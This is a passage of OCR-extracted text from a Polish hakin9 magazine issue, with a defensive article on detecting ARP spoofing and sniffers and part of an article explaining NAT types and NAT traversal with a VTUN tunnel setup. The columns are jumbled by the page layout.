sta ściana przeciwogniowa ustawia
port w stan stealth, a więc TCP RST
w ogóle się nie pojawi. A prawdziwy
nadawca będzie sobie mógł serfo-
wać do woli.

Co więcej można w ten spo-

sób udostępnić nawet usługi ser-
werowe (byle porty, które odpo-
wiadają za usługi na jednym kom-
puterze były na drugim ukryte).
Mówiąc obrazowo, mamy tu do
czynienia z „wirtualnym pocięciem”
jednego komputera na dwa – ot taki
Destination NAT, tylko że bez NATa
Oczywiście całe to rozwiązanie

działać będzie wyłącznie na hubie,
bowiem każdy współczesny switch
będzie wysyłał ramki na jeden i tyl-
ko ze swoich portów.

Z butami

(dwoma) do Sieci

Zdawałoby się, że o ARP-spoofin-
gu i jego wykrywaniu wiadomo już
wszystko (komu nie wiadomo powi-
nien sięgnąć do archiwalnego tek-
stu Marek Gusta, Maciej Szmit,
„Sniffing w ethernecie z przełączni-
kami”, „Haking” nr 2/2003, str. 6-9
albo przynajmniej przeczytać do-
stępny on line tekst Daniel Kaczorow-

Tabela 1.

Dokładnie rzecz biorąc w zależności od systemu operacyjnego wyglądało to będzie następująco

ICMP „crossping”

ARP-request

Debian GNU/Linux Sarge
kernel 2.6.12:1k7

odpowiedź ICMP-reply będzie odsy-
łana zawsze spod jednego adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)

odpowiedź ARP-reply będzie odsyłana zawsze
spod jednego adresu fizycznego (tej z kart sie-
ciowych, która zostanie podniesiona wcześniej),
ale już dla żądania ICMP echo request będzie
można używać dowolnej pary IP/MAC (z tym, że
odpowiedź przyjdzie zawsze z jednej karty)

Windows Vista Beta 2

Nie będzie odpowiedzi

Prawidłowe odwzorowania (IP pierwszej karty
MAC pierwszej karty, IP drugiej karty MAC dru-
giej karty)

Windows XP
(bez Service Packów)

ICMP-reply będą odesłane spod do-
brych adresów (IP pierwszej karty
MAC pierwszej karty, IP drugiej kar-
ty MAC drugiej karty)

Prawidłowe odwzorowania (IP pierwszej kar-
ty MAC pierwszej karty, IP drugiej karty MAC
drugiej karty)

Knoppix STD 0.1
kernel 2.4.21

odpowiedź ICMP-reply będzie odsy-
łana zawsze spod jednego adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)

dwie odpowiedzi (dwa adresy MACs dla jedne-
go adresu IP) – możliwe fałszywe odwzorowa-
nie w tablicy ARP-cache u klienta

Rysunek 1.

Schemat sieci współdzielenia łącza przez dwa komputery

Host A

IP: 192.168.0.2

MAC: 00:00 06:07:08:09

Hub

Router

Host A

IP: 192.168.0.2

MAC: 00:00 06:07:08:09

Internet

hakin9 Nr 1/2007

www.hakin9.org

Obrona

38

ski, Maciej Szmit, „Zdalna detekcja
snifferów w Sieci switching ethernet”

http://m-szmit.republika.pl/Kaczoro-

wskiiszmit.pdf). Programy używane
przez podsłuchujących (arpspoof
w linuxie czy WinArpspooofer w

Windows) zalewają ofiarę fałszy-
wymi odwzorowaniami ARP-reply,
które modyfikują jej tablicę ARP
cache tak że zamiast pod prawdzi-
wy adres fizyczny, przesyła swo-
je dane pod adres wskazany przez
napastnika. Obrona też wygląda-
ła prosto – wstarczy wysłać zapy-
tanie ARP request i policzyć przy-
chodzące odpowiedzi (zakładając,
że napastnik nie wyeliminował ma-
szyny, pod którą się podszywa np
za pomocą ataku DoS), ewentualnie
uruchomić arpwatch, który będzie
śledził zmiany odzoworwań MAC/IP
i w razie czego przyśle nam alar-

mującą wiadomość. I owszem to
wszystko będzie działało, przynajm-
niej dopóki zdolny administrator nie
wpadnie na pomysł zainstalowania
w serwerze zapasowej karty (lub co
gorsza kilku) podpiętej do tej samej
Sieci (fizycznej i logicznej, to jest uży-
wającej adresów IP z tej samej Sieci).
Podówczas z odwzorowaniami ARP
(i nie tylko) zaczną się dziać dziwne
rzeczy. Jeśli jeszcze użyjemy kom-
putera z systemem Linux, to może
okazać się, że będziemy mieli po kil-
ka odwzorowań tego samego IP na
różne adresy MAC. Jeżeli będziemy
mieli do czynienia z sytuacją jak na
Rysunku 2 i zdecydujemy się na wy-
słanie np. żądania ICMP echo-requ-
est na IP pierwszej karty (ale umie-
ściwszy je w ramce zaadresowanej
adresem fizycznym drugiej karty) to
rezultaty mogą nas zaskoczyć.

Zatem w przypadku linuxa z ją-

drem 2.4 programy takie jak ARP-
analyzer podniosą fałszywy alarm.
Jeśli spodziewamy się znaleźc w
siecie tego typu zjawisko powinni-
śmy użyć kolejnej wersji programu
WinAntiSniffer wzbogaconej o wy-
krywanie ARP-spoofingu (może-
cie ją oczywiście znaleźć na krąż-
ku dołączonym do pisma). Wyko-
rzystuje ona fakt, że w przypad-
ku podsłuchu ARP-spoofing na
pewno nie dostaniemy odpowiedzi
ICMP echo-reply na zestaw MAC
ofiary/IP pirata (a dostaniemy taką
odpowiedź w przypadku serwea z
dwoma kartami). No chyba, żeby-
śmy mieli do czynienia z dwoma
piratami, którzy podszywają się
pod siebie wzajemnie. Rozważa-
nia, jak wygladać może sytuacja
przy większej liczbie piratów pozo-
stawiamy dla Czytelników o moc-
nych nerwach (przypominając, że
liczba dwuelementowych podzbio-
rów zbioru n-elementowego rośnie
z kwadratem n).

Dla lubiących proste rozwią-

zania: istnieją jeszcze dwa inne
sposoby wykrywania ARP-spoofin-
gu, o których nie wszyscy muszą
wiedzieć. Po pierwsze wystarczy
uruchomić polecenie traceroute na
adres, co do którego mamy wąt-

Rysunek 3.

Konwersja ruchu multicast na unicast wykonywana przez router

Switch

pakiet C

pakiet A i B

pakiet D i E

pakiet A i B

pakiet A i B

pakiet A i B

pakiet D

pakiet G

pakiet E

pakiet F

Host B

IP: 192.168.134.2

MAC: 00:00:01:02:03:04

Uruchomiony sniffer

KROK 2 (pakiet C):

Odpowiedź ICMP na pakiet

A (ze względu na sniffer)

KROK 5 (pakiet G):

Na pakiet D (unicast) host

udziela odpowiedzi ICMP.

Router

IP: 192.168.134.254

KROK 3 (pakiet D i E):

W wyniku odebrania pakietu A

i B router generuje 2 pakiety

ICMP unicast (docelowy adres

MAC unicast i doselowy adres

IP unicast)

pakiet D:

MAC - 00:00:01:02:03:04

IP - 192.168.134.2

pakiet E:

MAC - 00:00:01:02:03:05

IP - 192.168.134.3

Host C

IP: 192.168.134.2

MAC: 00:00:01:02:03:05

Barak sniffera

KROK 4 (pakiet F):

Na pakiet E (unicast) host

udziela odpowiedzi ICMP.

Host A

IP: 192.168.134.1

KROK 1 (pakiet A i B):

Wysyłany pakiet ICMP multicast

(docelowy adres MAC multicast i

docelowy adres IP unicast

pakiet A:

MAC - FF:FF:FF:FF:FF:FF

IP - 192.168.134.3

Rysunek 2.

Serwer z zainstalowanymi dwiema kartami sieciowymi

pracującymi w jednej sieci logicznej LAN

Klient

IP: 192.68.0.3

IP: 192.68.0.1

IP: 192.68.0.1

Switch

Serwer z dwoma

interfejsami

hakin9 Nr 1/2007

www.hakin9.org

Obrona

40

pliwości (najczęściej będzie to ad-
res naszej bramy) – jeśli okaże się,
że po drodze między nami a do-
myślną bramą jest jeszcze jakieś
IP to zdecydowanie mamy powód
do zmartwienia. Oczywiście ata-
kujący może spróbować się przed
tym zabezpieczyć (na przykład za
pomocą reguły podnoszącej TTL
w forwardowanych pakietach, ale
do tego trzeba już trochę się napra-
cować, w każdym razie na „gołego”
arpspoofa i WinARPSpoofera ten
sposób wystarczy).

Warto też zainteresować się pa-

kietami ICMP redirect. Ich obec-
ność w Sieci może może nam zasu-
gerować, że oburzony system ope-
racyjny pirata (powiedzmy: począt-
kującego pirata, który nie zabezpie-
czył się przed tym zjawiskiem) wy-
syła ofierze informacje „ja przecież
nie jestem routerem”. Niestety zale-
wanej pakietami ARP reply ofierze
wiele to nie pomoże, chyba że za-
lew komunikatów ICMP da admini-
stratorowi do myślenia. I znowu: wy-
kwalifikowany pirat powinien, ale
przecież nie będziemy ułatwiać ży-
cia piratom.

W każdym razie uważajcie na

zwiększony ruch ICMP redirect
(tym bardziej, że może on świad-
czyć o jeszcze jednej metodzie ata-
ku, zwanej ICMP-redirect spoofing,
ale o tym już innym razem).

Problemy grupowe

Dla administratora wizja kilku pira-
tów w Sieci (jego Sieci!) podsłuchu-
jących się wzajemnie wydaje się być
rodem z koszmarnego snu. Nic dziw-
nego, że kiedy zdarzyło się nam
zobaczyć coś podobnego nie mo-
gliśmy uwierzyć własnym oczom.

Rysunek 4.

Pakiety przechwycone na hoście A (z uruchomionym WinAntiSnifferem) w przypadku badania hosta C

Rysunek 5.

Pakiety przechwycone na hoście A (z uruchomionym AntiSnifferem) w przypadku badania hosta B

Jak się okazało, całkiem słusznie.
Pamiętacie testy odpowiedzi służą-
ce do wykrywania klasycznych snif-
ferów? Jeśli nie pamiętacie, to zaj-
rzyjcie do archiwalnych numerów

Hakin9u, żeby przeczytać na przy-
kład artykuł Maciej Szmit, Mariusz
Tomaszewski, Marek Gusta, „Snif-
fing dla początkujących”, „Software
2.0 Extra”, Nr 5/2003 str. 18-25, albo
– jeśli wolicie skorzystać z Interne-
tu – to poczytajcie dokument http://

m-szmit.repulika.pl/sis2002.pdf.

Testy, o których mowa spro-

wadzają się do przesłania do po-
dejrzanego komputera odpowied-
nio spreparowanej ramki (z błę-
dym adresem docelowym MAC),
w której umieszczony jest pakiet
zawierający żądanie odpowiedzi
(ARP Request lub ICMP Echo Re-
quest) zaadresowany adresem IP
podejrzanego komputera. Z uwagi
na zaimplementowanie we wszyst-
kich systemach operacyjnych wir-
tualne filtry pakietów (no – prawie
we wszystkich, w Windows Vista
Beta 2 o takich nie słyszeli) jedyny-
mi adresami MAC odbiorcy mogą
być niektóre z adresów multicasto-
wych (mowa o multicastach ether-
netowych, czyli adresach MAC,
w których najmniej znaczacy bit
najbardziej znaczacego bajtu jest
jedynką).

W przypadku Sieci wykorzy-

stującej koncentratory i „zwykłe”
routery (na przykład komputery
z dwiema kartami sieciowymi pra-
cujące pod kontrolą systemu ope-
racyjnego NetWare albo Linux, czy
też routery firmy CISCO) dziala-
nie testów jest zgodne z oczeki-
waniem. Jakież jednak było na-
sze zdumienie, kiedy w w sieciach

wykorzystujących tanie routery
(a właściwie router-switche) firm
D-Link oraz Lucent wszystkie kom-
putery zaczęły nagle odpowia-
dać na testy wykrywajace sniffe-
ry. Okazało się, że winne są urzą-
dzenia, których działanie w zakre-
sie obsługi multicastów jest dość
niestandardowe. Mianowicie przyj-
mują one, że w przypadku otrzy-
mania ramki zaadresowanej gru-
powym adresem MAC, należy jej
zawartość przesłać dalej jako ram-
kę unicastową, przy czym adres
odbiorcy ramki jest adresem MAC
komputera, którego IP zawarte było
w pakiecie niesionym przez ramkę.

W przypadku wysłania multi-

castowej ramki zawierającej bro-
adcastowy pakiet (a tak działają
testy odpowiedzi) urządzenie prze-
śle do Sieci broadcastową ramkę
z broadcastowym pakietem. Me-
chanizm ten występuje w przypad-
ku, gdy przesyłany jest pakiet IP
i wyłącznie wtedy, gdy multica-
stowy MAC jest z zakresu

FF:FF:

F F:F F:F F:00-F F:F F:F F:F F:F F:F E

(przynajmniej w przypadku testo-
wych przez nas urządzeń D-Link).
Jest to zachowanie zbliżone nieco
do zachowania m-routera (route-
ra obsługującego multicasty), ale
zdecydowanie mniej doskonałe.

Konsekwencją jego jest – w przy-

padku testów odpowiedzi – fałszywe
wykrycie (ang. false positive) snif-
ferów na wszystkich sprawdzanych
komputerach w segmencie (kom-
putery otrzymuja pytanie w ramce
zaadresowanej prawidłowym – uni-
castowym adresem MAC, na które
oczywiście odpowiadają). Dokład-
niej – w segmencie pojawiają się
dwa pytania – jedno w ramce multi-

Huby w pajęczynach i złośliwe m-routery

hakin9 Nr 1/2007

www.hakin9.org

41

castowej (na które odpowiadają tyl-
ko komputery z interfejsem pracu-
jącym w trybie promiscuous – o ile
oczywiście są wrażliwe na ten rodzaj
testu) – oraz drugie (w ramce unica-
stowej).

Ramka unicastowa będzie za-

adresowana fizycznym adresem
MAC interfejsu komputera, którego
adres IP był umieszczony w ramce
multicastowej. Zatem na ramkę uni-
castową odpowie określony kompu-
ter nawet jeśli nie pracuje w trybie
promiscuous (Rysunek 3).

Co gorsza, jeśli w Sieci jest wię-

cej niż jedno tego typu urządzenie
(a w przeciwieństwie do stad pira-
tów, to się zdarza się i to nawet dość
często w przypadku podziału Sie-
ci wewnętrznej na kilka podsieci
– konfiguracja stosowana nagminnie
w sieciach akademickich podzielo-
nych na pracownie studenckie) – licz-
ba ramek odpowiednio się zwiększa.
Rozwiązaniem problemu jest uprzed-
nie zliczanie multiplikacji ramek

poprzez wysłanie, przed uruchomie-
niem właściwego testu, ramki mul-
ticastowej zawierającej pakiet ad-
resowany do komputera, na którym
będziemy przeprowadzać testy (za-
zwyczaj do siebie) i zliczenie przy-
chodzących ramek unicastowych.
Z kolei w testach odpowiedzi należy in-
formację o wykryciu sniffera umieścić
tylko w przypadku, gdy liczba przycho-
dzących odpowiedzi jest o jeden więk-
sza niż liczba wykrytych urządzeń.

Zatem rozważając sytuację z Ry-

sunku 3 należy spodziewać się w
Sieci pakietów przedstawionych na
Rysunku 4 (w przypadku badania
hosta C – bez sniffera) oraz na Ry-
sunku 5 (w przypadku badania ho-
sta B – ze snifferem). Najpierw z ho-
sta A wysyłane jest zapytanie ICMP
echo-request z adresem docelowym
IP wskazującym na siebie samego
w ramce multicastowej. Jak widać
drugi pakiet w Sieci to efekt zamiany
przez router pakietu multicast na uni-
cast. Następnie wysyłany jest pakiet
sondujący na adres 192.168.134.3
w ramce multicastowej (host C nie
udzieli na niego odpowiedzi, gdyż
nie jest na nim uruchomiony sniffer).
W tym momencie w Sieci pojawi się
również wygenerowany przez router
pakiet ICMP echo-request unicast,
który trafi do hosta C (pakietu tego

nie można przechwycić na hoście A,
stąd nie widać go na rysunku). Host C
udziela odpowiedzi ICMP echo-reply
(pakiet nr 4). W efekcie można przy-
puszczać nie znając topologii i urzą-
dzeń pracujących w Sieci, że na kom-
puterze C jest uruchomiony sniffer
– nie jest to jednak prawda.

W stosunku do sytuacji z Rysun-

ku 4, teraz widać, że host B z uru-
chomionym snifferem udziela dwóch
odpowiedzi – na pakiet multicast (ze
względu na pracę w trybie promisc)
oraz na pakiet unicast wygenerowa-
ny przez router.

Rozwiązanie to zostało oczywi-

ście zaimplementowane w wersji 2.4
programu WinAntisniffer, który może-
cie znaleźć na załączonym do pisma
krążku CD-ROM.

Podsumowanie

Choć zagadnienia związane z pod-
stawami obsługi protokołów siecio-
wych wydają się czasami trywialne
i dobrze znane, często okazuje się,
że są to tylko pozory, a błędy i nie-
ścisłości w ich implementacji zda-
rzają się i najlepszym. Trochę to po-
cieszające, kiedy sami łapiemy się
na tym, że kiedyś napisaliśmy coś
nie do końca ścisłego, albo zapo-
mnieliśmy o jakichś szczególnych
przypadkach. l

W Sieci

http://www.microsoft.com/technet/
prod-technol/windows2000serv/
r e s k i t / r e g e n t r y / 5 8 7 3 7 . m s p x ?
mfr=true.

R

E

K

L

A

M

A

www.hakin9.org

hakin9 Nr 1/2007

42

Obrona

G

odzina zero. Urządzeń korzystających
z publicznych adresów IP ciągle przy-
bywa. Z raportu ([1]) opublikowanego

w 2002 roku wynikało, że pula publicznych ad-
resów internetowych zostanie wyczerpana do
2005 roku. Rok 2005 minął spokojnie, a pro-
blem adresacji specjalnie nam nie doskwierał.
Nowe raporty przesuwają datę apokalipsy na
lata od około 2010 do 2026. Pomimo tego, że
wg niektórych źródeł w roku 2012 nastąpi już
definitywnie koniec świata i problem dostępno-
ści IP zejdzie na drugi plan, ustępując pierw-
szeństwa problemom egzystencjalnym, warto
wiedzieć, że to właśnie rozwój lokalnych sie-
ci komputerowych przyczynił się między inny-
mi do przesunięcia momentu, kiedy nie będzie
można już podłączyć żadnego nowego kompu-
tera do sieci globalnej.

Problem IP i jego rozwiązanie

Aby dwa komputery mogły się ze sobą w In-
ternecie skomunikować, muszą posiadać pu-
bliczne adresy IP – głosi powszechnie znana
teza. Jednak nie jest ona do końca prawdzi-
wa. Z jednej strony prawdą jest, że krążące
w Internecie pakiety powinny mieć publicz-
ny adres źródłowy i docelowy, co pociąga

za sobą konieczność istnienia dwóch kom-
puterów posiadających zewnętrzne IP – jed-
nego nadającego a drugiego odbierającego.
Z drugiej strony istnieją mechanizmy, które
potrafią umożliwić maszynom posiadającym
lokalną adresację bezproblemową komunika-
cję z dowolnym adresem IP. Jednym z takich
mechanizmów jest właśnie NAT (Network

Address Translation) czyli translacja adre-

Sieci nie tak znowu lokalne

Konrad Malewski

stopień trudności

Szybki przyrost ilości komputerów na świecie powodują, że

zmniejsza się ilość wolnych adresów IP. Najczęściej stosowane

rozwiązanie czyli NAT pomimo swoich zalet, posiada również

wadę. Jest nią brak możliwości tworzenia połączeń pomiędzy

komputerami znajdującymi się w różnych sieciach lokalnych.

Z artykułu dowiesz się...

• Jak działa NAT;
• Jakie są rodzaje NAT i jakie są ich właściwo-

ści;

• Jakie są techniki nawiązywania bezpośrednich

połączeń UDP oraz TCP pomiędzy lokalnymi
sieciami.

Co powinieneś wiedzieć...

• Powinieneś znać model ISO/OSI;
• Powinieneś mieć ogólne pojęcie o zasadzie

działania sieci TCP/IP;

• Powinieneś mieć ogólne pojęcie o programo-

waniu gniazd sieciowych.

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

43

sów sieciowych. NAT nie jest je-
dynym mechanizmem tego typu.
Do umożliwienia surfowania można
na przykład użyć serwerów proxy
czy też wykorzystać protokół RSIP.
Rozwiązania alternatywne często
są wykorzystywane w miejscach,
w których ten, kto udostępnia Inter-
net chce mieć pełniejszą kontrolę
nad przesyłanymi danymi.

Translacja adresów

NAT jest obecnie jednym z najczę-
ściej stosowanych mechanizmów
służących do udostępniania połą-
czenia internetowego w sieciach
lokalnych. Jest to mechanizm spraw-
dzony, dość dobrze przetestowa-
ny i zrealizowany lepiej lub gorzej
w szerokiej gammie routerów sprzę-
towych. Istnieją oczywiście dar-
mowe implementacje programowe
NAT – natd czy iptables. Stosowanie
tego rozwiązania posiada następu-
jące cechy:

• NAT oszczędza pule adresów

– wiele komputerów może posia-
dać jeden adres publiczny, pod
którym będą widoczne;

• Udostępnianie Internetu dodat-

kowym maszynom wymaga jedy-
nie przekonfigurowania routera.
Nie istnieje potrzeba dokupywa-
nia dodatkowych adresów u ISP;

• Stosując NAT w firmie łatwo zmie-

nić dostawcę internetowego;

• NAT automatycznie tworzy swo-

jego rodzaju firewall, który nie
pozwala na niekontrolowane łą-
czenie się komputerów z interne-
tu z tymi w sieci lokalnej;

• NAT nie wymaga specjalnej kon-

figuracji aplikacji na komputerach
klientów.

Niestety oprócz licznych zalet uży-
wając NAT warto pamiętać również
o jego niedostatkach:

• Stosowanie NAT przy dużej licz-

bie komputerów i jednym adresie
powoduje najrozmaitsze proble-
my, które niekoniecznie wskazu-
ją na konkretną przyczynę;

• Aby działać poprawnie, niektó-

re usługi wymagają publicznego

adresu IP lub/i wymagają dedy-
kowanego portu;

• NAT wymaga więcej zasobów

(pamięć, CPU) niż rozwiązanie
oparte wyłącznie na routingu;

• Niektóre protokoły nie działają

dobrze w środowisku z NAT (np.
ftp, ipsec).

Istnieje szereg rodzajów NAT:

• Jednokierunkowy NAT;
• Dwukierunkowy NAT;
• NAT z translacją portów;
• Dwukrotny NAT.

Różnice pomiędzy poszczególnymi
rodzajami NAT oraz zasadę dzia-
łania najlepiej pokazać za pomo-
cą przykładu. Załóżmy, że w sie-
ci istnieje komputer, który posia-
da lokalny adres 192.168.19.100
i jest podłączony do Internetu przez
NAT, którego adres publiczny to
157.158.181.42. Co się dzieje, gdy
komputer z lokalnym adresem IP
chce się połączyć np. z komputerem
o adresie 157.158.180.200? W przy-
padku NAT-a komputer z lokalnym
IP używa maszyny z usługą NAT ja-
ko domyślnego routera, więc chcąc
nawiązać jakąkolwiek komunikację
poza LAN wyśle do niego pakiety.
Przy przejściu pakietu przez router
zostanie zamieniony adres źródłowy
pakietu na adres publiczny routera.
Komputer, do którego dotrze pakiet
po zmianie adresu zobaczy połą-
czenie nie z adresu 192.168.19.100,
ale z 157.158.181.42.

Jednokierunkowy NAT charak-

teryzuje się tym, że komputer z po-
za sieci lokalnej nie może nawią-
zać połączenia do wewnątrz LAN.

Rysunek 1.

Uproszczony model sieci

Komputer z publicznym

adresem IP

Komputer z lokalnym

adresem IP

INTERNET

Sieć lokalna

Sieć lokalna

Router z NAT

Router z NAT

Komputer z lokalnym

adresem IP

Komputer z lokalnym

adresem IP

Komputer z lokalnym

adresem IP

Rysunek 2.

Zasada działania NAT pokazana na przykładzie NAT

jednokierunkowego

Komputer A

IP: 192.168.19.100

Src: 192.168.19.100

Src port: 3000

Src: 157.158.181.42

Src port: 3000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.181.42

Src port: 5000

Src: 157.158.180.100

Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

hakin9 Nr 1/2007

www.hakin9.org

Obrona

44

Wszystkie próby nawiązania połą-
czenia do routera są przetwarzane
jako próby połączenia z samą ma-
szyną routera.

Taką funkcjonalność umożliwia

dwukierunkowy NAT. Jeśli kompu-
ter 157.158.180.200 wyśle pakiet do
157.158.181.42, to router zamieni ad-
res docelowy na ten z sieci lokalnej.
Komputer lokalny zarejestruje połą-
czenie z adresu 157.158.180.200.

Autorzy poszczególnych imple-

mentacji NAT starają się, by pakie-
ty przechodzące przez router były

modyfikowane w jak najmniejszym
stopniu. I tak np., jeżeli klient NAT w
sieci lokalnej próbuje ustanowić po-
łączenie zewnętrzne i używa do te-
go celu portu źródłowego X, to NAT
będzie starał się użyć portu źródło-
wego X po translacji adresu IP. Aby
zrozumieć zasadność istnienia NAT
z translacją portów należy rozwa-
żyć następujący przypadek: co się
stanie jeśli dwóch klientów będzie
próbowało otworzyć połączenie ze-
wnętrzne i będą używać tego same-
go portu źródłowego? NAT powinien

jak najmniej ingerować w zawartość
przepływających pakietów, ale w tej
sytuacji nieingerowanie spowoduje,
że po translacji połączenia staną się
nierozróżnialne od siebie (oba uży-
wałyby portu X jako źródłowego).
Jeżeli NAT wykryje taką sytuację, to
dokona translacji portu i w przypad-
ku drugiego połączenia NAT oprócz
adresu IP zmieni również port źró-
dłowy.

Skoro istnieje możliwość zamia-

ny adresu i portu źródłowego, to nic
nie stoi na przeszkodzie, aby zamie-
niać również adres docelowy. Zamie-
nianie adresu docelowego ma sens
między innymi w sytuacji, w której
chcemy połączyć dwie sieci, których
adresy nakładają się. Jeśli chcieli-
byśmy umożliwić komunikację po-
między tymi dwoma sieciami to albo
musielibyśmy zmienić adresy w jed-
nej z nich, albo zastosować podwójny
NAT na routerach, zamieniając adre-
sy sieci tak, aby się nie nakładały.

Istnieją podziały NAT ze względu

na inne kryteria, jednakże na chwilę
obecną poprzestaniemy na tym po-
dziale.

Rysunek 3.

Zasada działania dwukierunkowego NAT

Komputer A

IP: 192.168.19.100

Src: 192.168.19.100

Src port: 3000

Src: 157.158.181.42

Src port: 3000

Src: 157.158.180.200

Src port: 5000

Src: 192.168.19.100

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.181.42

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Rysunek 4.

NAT z translacją portów

Komputer A

IP: 192.168.19.100

Scr: 192,168.19.100

Src port: 3000

Dst: 157,158.19.200

Dsc port: 5000

Scr: 157.158.181.42

Src port: 3000

Dst: 157.158.180.200

Dst port: 5000

Scr: 157.158.181.42

Src port: 3000

Dst: 157.158.180.200

Dst port: 5000

Scr: 192.168.19.101

Src port: 3000

Dst: 157,158.19.200

Dst port: 5000

Komputer A'

IP: 192.168.19.101

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Rysunek 5.

Podwójny NAT

Komputer A

IP: 192.168.19.100

Src: 157.158.181.42

Src port: 3000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer S'

IP: 157.158.191.236

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

45

Problem bezpośrednich

połączeń

Obecność maszyny pośredniczą-
cej w wymianie pakietów oraz lokal-
na adresacja znacząco komplikuje
klasyczny schemat nawiązywania
połączeń pomiędzy komputerami
znajdującymi się w różnych sieciach
lokalnych. Większość NAT używa-
nych obecnie to NAT z translacją
portów. O ile nie ma większych pro-
blemów z nawiązaniem sesji kom-
putera w LAN z serwerem posiada-
jącym publiczne IP, o tyle wszystkie
żądania połączeń z sieci zewnętrz-
nej zostaną odrzucone przez ro-
uter łączący komputer z Internetem.
Nawet jeśli mamy dostęp do konfi-
guracji routera i zastosujemy prze-
kierowanie portu do sieci lokalnej,
to i tak nie rozwiązuje to wszyst-
kich problemów, ponieważ można
przekierować port jedynie do jedne-
go adresu. Czasami przekierowanie
jednego portu może być idealnym
rozwiązaniem, ale co w przypadku
kiedy administrator naszej lokalnej
sieci nie ma ochoty zmieniać kon-
figuracji routera, a w dodatku doce-
lowa maszyna również znajduje się
za NAT. Z pomocą przychodzą nam
różne techniki, przy użyciu których
możemy ustanowić bezpośrednie
połączenia i nie będziemy musie-
li zawracać głowy naszemu admi-
nistratorowi.

Prosty sposób na P2P

Jeśli jeden z komputerów posiada
publiczny adres IP, to problem po-
łączenia w jedną stronę praktycz-
nie nie istnieje. Komputer z publicz-
nym adresem IP jest osiągalny bez-
pośrednio, więc połączyć się z nim
można tak samo, jak z każdym in-
nym w Internecie. Połączenie w dru-
gą stronę sprawia już więcej proble-
mu. Aby je umożliwić należy odwró-
cić schemat połączenia. A mianowi-
cie komputer z publicznym IP mu-
si zażądać połączenia od kompu-
tera zza NAT. Skoro nie może zro-
bić tego bezpośrednio, to musi ist-
nieć komputer pośredniczący, po-
przez który do maszyny za NAT zo-
stanie przesłane żądanie połączenia
(Rysunek 6).

Rozwinięciem tego pomysłu, się-

gającego jeszcze czasów Napste-
ra, jest przesyłanie danych poprzez
pośrednika sieciowego, który posia-
dałby publiczny adres IP. Klienci, za-
miast łączyć się bezpośrednio ze so-
bą, łączą się z serwerem, który two-
rzy tunel łączący dwie sieci.

Pomysł ten nosi nazwę TURN

(skrót ang. Traversal Using Re-

lay NAT). Rozwiązanie to jest dość
uniwersalne, a na dodatek bardzo
skuteczne (Rysunek 7). Posiada jed-
nak pewne wady, a mianowicie wyma-
ga dedykowanego serwera pośred-
niczącego oraz protokołu wymiany
danych oraz informacji sterujących
tunelem. To ostatnie wymusza ist-
nienie warstwy pośredniej, z którą
komunikowałaby się aplikacja chcą-
ca przesłać dane. Jeżeli rozwiąza-
nie to miałoby zostać wykorzystane
na większą skalę np. gdyby na jego
bazie chcieć świadczyć usługi jako
uniwersalny pośrednik sieciowy, to
należy się liczyć również z proble-
mami natury prawnej.

Zestawiamy VPN

Dla własnej potrzeby możemy jed-
nak w bardzo szybki sposób zesta-
wić tunel takiego typu. W najprost-
szym przypadku musimy jedynie
posiadać uprawnienia administra-
tora na maszynie z publicznym
adresem IP. Do stworzenia tunelu

pomiędzy komputerami A i B uży-
jemy VPN o nazwie VTUN. VTUN
umożliwia stworzenie na kompu-
terze za NAT wirtualnego interfej-
su sieciowego, który połączy go
z drugim komputerem. Od strony
routera łączącego A z internetem
tunel widoczny jest jako jedno po-
łączenie A z komputerem C. Do-
datkowo VTUN umożliwia szyfro-
wanie przesyłanych danych. Alter-
natywnym rozwiązaniem i ponie-
kąd uważanym za bezpieczniejsze
jest OpenVPN, który dostępny jest
nawet na platformę Windows. Jed-
nak ze względu na prostotę konfi-
guracji w tym przykładzie zostanie
użyty VTUN. Po pomyślnej instalacji
VTUN, należy skonfigurować usłu-
gę pracującą na maszynie serwera
(w tym przykładzie niech będzie to
maszyna C), oraz na maszynach
klientach (A i B).

Na maszynie C plik konfiguracyj-

ny (Listing 2).

Plik konfiguracyjny na hoście A

jest stworzony analogicznie do hosta
B. Różnią się wyłącznie nazwą sekcji
(hosta zamiast hostb) oraz adresem
IP tunelu (10.1.0.2). Większość opcji
w pliku konfiguracyjnym jest samo
komentująca się. Obszerną doku-
mentację jest domyślny plik konfigu-
racyjny dostarczony wraz z oprogra-
mowaniem. Znaleźć tam można do-
kładny opis każdego z parametrów.

Rysunek 6.

Schemat odwróconego połączenia

Żądanie połączenia

INTERNET

Połączenie

R1

A

B

C

hakin9 Nr 1/2007

www.hakin9.org

Obrona

46

Mając już przygotowane pliki

konfiguracyjne uruchamiamy serwer
VTUN na kompuerze C:

vtund -s -f vtun-srv.conf

oraz na komputerze A:

vtund -f vtun-hosta.conf -p hosta
157.158.180.200

i na koniec na komputerze B:

vtund -f vtun-hostb.conf -p hostb
157.158.180.200

Jeśli wszystko poszło dobrze, to ser-
wer C powinien posiadać dwa dodat-
kowe interfejsy – tap0 łączący C z A
oraz tap1 łączący C z B.

Teraz wystarczy ustawić regu-

ły routingu pozwalające na komuni-
kację A z B oraz włączyć przekazy-
wanie pakietów pomiędzy interfejsa-
mi tap0 i tap1 na hoście C. Routing
na A i B możemy ustawić na dwa
sposoby. Można do tego celu użyć
standardowej komendy route, lub też
bardziej zaawansowane ip z pakietu

iproute. Zaletą używania polecenia
ip jest możliwość ustawienia adre-
su źródłowego, który będzie używa-
ny do osiągnięcia danej sieci. Na ho-
ście A wywołujemy:

ip route add 192.168.18.0/24 dev
tap1 src 192.168.19.100

Na hoście B:

ip route add 192.168.19.0/24 dev
tap1 src 192.168.18.200

Natomiast hosta C uczymy przeka-
zywania pakietów oraz żądań ARP
i tego gdzie znajdują się sieci lokal-
ne A i B.

Po wykonaniu powyższego zbio-

ru komend tunel powinien już dzia-
